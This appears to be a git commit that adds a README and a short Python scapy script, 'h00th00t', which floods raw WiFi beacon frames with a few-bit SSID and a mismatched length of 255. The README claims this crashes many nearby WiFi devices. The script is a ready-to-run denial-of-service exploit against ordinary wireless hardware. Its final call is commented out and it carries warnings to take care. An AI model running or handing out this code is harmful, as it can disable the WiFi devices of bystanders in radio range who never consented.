commit 02cbcdb8de8f820f59cdf48e171ca1d233f2e72d Author: PrincessPi3 Date: Thu Aug 7 09:34:47 2025 -0600 initial commit via gitinitshit diff --git a/README.md b/README.md new file mode 100644 index 0000000..c1f306e --- /dev/null +++ b/README.md @@ -0,0 +1,4 @@ +# h00th00t +## Sub-Byte Binary Underflow in WiFi Devices +## Warning: Test With Extreme Care +Sending WiFi beacons where the SSID is set to some non-byte number of bits and a poorly matching SSID length breaks many random WiFi devices in range. \ No newline at end of file diff --git a/h00th00t.py b/h00th00t.py new file mode 100644 index 0000000..188afd0 --- /dev/null +++ b/h00th00t.py @@ -0,0 +1,19 @@ +from scapy.all import * + +# config your stuff here +iface = 'wlan1' +sender = RandMAC() + +# send raw wifi beacon frames +def beacon_raw(SSID, length=255): + dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=RandMAC(), addr3=RandMAC()) + beacon = Dot11Beacon() + essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length) + frame = RadioTap()/dot11/beacon/essid + print(f"{SSID}") + sendp(frame, iface=iface, inter=0.250, loop=1) + +ssid_binary = 0b0101 # a few random bits to send as the SSID + +# please be careful with this, it can crash your local wifi devices +# beacon_raw(ssid_binary, length=255) # send it \ No newline at end of file